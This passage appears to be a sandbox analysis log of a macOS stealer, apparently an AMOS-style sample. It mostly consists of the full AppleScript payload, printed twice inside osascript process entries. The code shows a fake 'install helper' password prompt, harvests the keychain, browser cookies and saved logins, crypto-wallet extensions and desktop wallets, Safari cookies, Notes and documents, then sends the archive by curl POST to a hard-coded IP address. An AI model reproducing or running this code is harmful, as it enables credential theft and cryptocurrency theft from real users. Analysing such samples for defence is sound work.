{\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)"1⤵PID:544
-
/usr/libexec/xpcproxyxpcproxy com.apple.ViewBridgeAuxiliary1⤵PID:549
-
/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary1⤵PID:549
-
/usr/bin/pluginkit/usr/bin/pluginkit -e ignore -i com.microsoft.OneDrive.FinderSync1⤵PID:551
-
/usr/sbin/spctl/usr/sbin/spctl --assess --type execute /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/OneDriveUpdater4B941C11/OneDrive.app1⤵PID:552
-
/usr/libexec/xpcproxyxpcproxy com.apple.sysmond1⤵PID:553
-
/usr/libexec/sysmond/usr/libexec/sysmond1⤵PID:553
-
/usr/libexec/xpcproxyxpcproxy com.apple.spindump1⤵PID:554
-
/usr/sbin/spindump/usr/sbin/spindump1⤵PID:554
-
/usr/libexec/xpcproxyxpcproxy com.apple.tailspind1⤵PID:555
-
/usr/libexec/xpcproxyxpcproxy com.apple.spindump_agent1⤵PID:556
-
/usr/libexec/tailspind/usr/libexec/tailspind1⤵PID:555
-
/usr/libexec/spindump_agent/usr/libexec/spindump_agent1⤵PID:556
-
/usr/libexec/xpcproxyxpcproxy com.apple.audio.systemsoundserverd1⤵PID:577
-
/usr/sbin/systemsoundserverd/usr/sbin/systemsoundserverd1⤵PID:577
-
/usr/libexec/xpcproxyxpcproxy com.apple.pbs1⤵PID:578
-
/System/Library/CoreServices/pbs/System/Library/CoreServices/pbs1⤵PID:578
-
/usr/libexec/xpcproxyxpcproxy com.apple.audio.AudioComponentRegistrar1⤵PID:579
-
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon1⤵PID:579
-
/usr/libexec/xpcproxyxpcproxy com.apple.geod1⤵PID:588
-
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod1⤵PID:588
-
/usr/libexec/xpcproxyxpcproxy com.apple.geod1⤵PID:590
-
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod1⤵PID:590
-
/usr/libexec/xpcproxyxpcproxy com.apple.secinitd1⤵PID:591
-
/usr/libexec/secinitd/usr/libexec/secinitd1⤵PID:591
-
/usr/libexec/xpcproxyxpcproxy com.apple.cfprefsd.xpc.agent1⤵PID:592
-
/usr/sbin/cfprefsd/usr/sbin/cfprefsd agent1⤵PID:592
-
/usr/libexec/xpcproxyxpcproxy com.apple.AddressBook.ContactsAccountsService1⤵PID:599
-
/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService1⤵PID:599
-
/usr/libexec/xpcproxyxpcproxy com.apple.nehelper1⤵PID:600
-
/usr/libexec/nehelper/usr/libexec/nehelper1⤵PID:600
-
/usr/libexec/xpcproxyxpcproxy com.apple.routined1⤵PID:601
-
/usr/libexec/routined/usr/libexec/routined LAUNCHED_BY_LAUNCHD1⤵PID:601
-
/usr/libexec/xpcproxyxpcproxy com.apple.Maps.mapspushd1⤵PID:602
-
/System/Library/CoreServices/mapspushd/System/Library/CoreServices/mapspushd1⤵PID:602
-
/usr/libexec/xpcproxyxpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A1⤵PID:607
-
/usr/libexec/neagent/usr/libexec/neagent1⤵PID:607
-
/usr/libexec/xpcproxyxpcproxy com.apple.TextInputMenuAgent1⤵PID:608
-
/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent1⤵PID:608
-
/usr/libexec/xpcproxyxpcproxy com.apple.TextInputSwitcher1⤵PID:609
-
/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher1⤵PID:609
-
/usr/bin/loginlogin -pf run1⤵PID:612
-
/bin/zsh-zsh2⤵PID:614
-
/usr/libexec/path_helper/usr/libexec/path_helper -s3⤵PID:615
-
-
/usr/bin/localelocale LC_CTYPE3⤵PID:616
-
-
/usr/bin/openopen AppleApp3⤵PID:618
-
-
/bin/lsls3⤵PID:619
-
-
/bin/lsls3⤵PID:623
-
-
/usr/bin/openopen AppleApp3⤵PID:630
-
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.AccountPolicyHelper1⤵PID:613
-
/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper1⤵PID:613
-
/usr/libexec/xpcproxyxpcproxy com.apple.PerformanceAnalysis.animationperfd1⤵PID:617
-
/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd/System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd1⤵PID:617
-
/usr/libexec/xpcproxyxpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E1⤵PID:624
-
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService1⤵PID:624
-
/usr/bin/loginlogin -pf run1⤵PID:631
-
/bin/zsh-zsh2⤵PID:633
-
/usr/libexec/path_helper/usr/libexec/path_helper -s3⤵PID:634
-
-
/usr/bin/localelocale LC_CTYPE3⤵PID:635
-
-
/Users/run/Application/AppleApp/Users/run/Application/AppleApp3⤵PID:636
-
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.metadata.mdwrite1⤵PID:632
-
/bin/shsh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"1⤵PID:638
-
/bin/bashsh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"1⤵PID:638
-
/usr/bin/osascriptosascript -e "tell application \"Terminal\" to close first window"2⤵PID:639
-
-
/bin/shsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"1⤵PID:640
-
/bin/bashsh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakf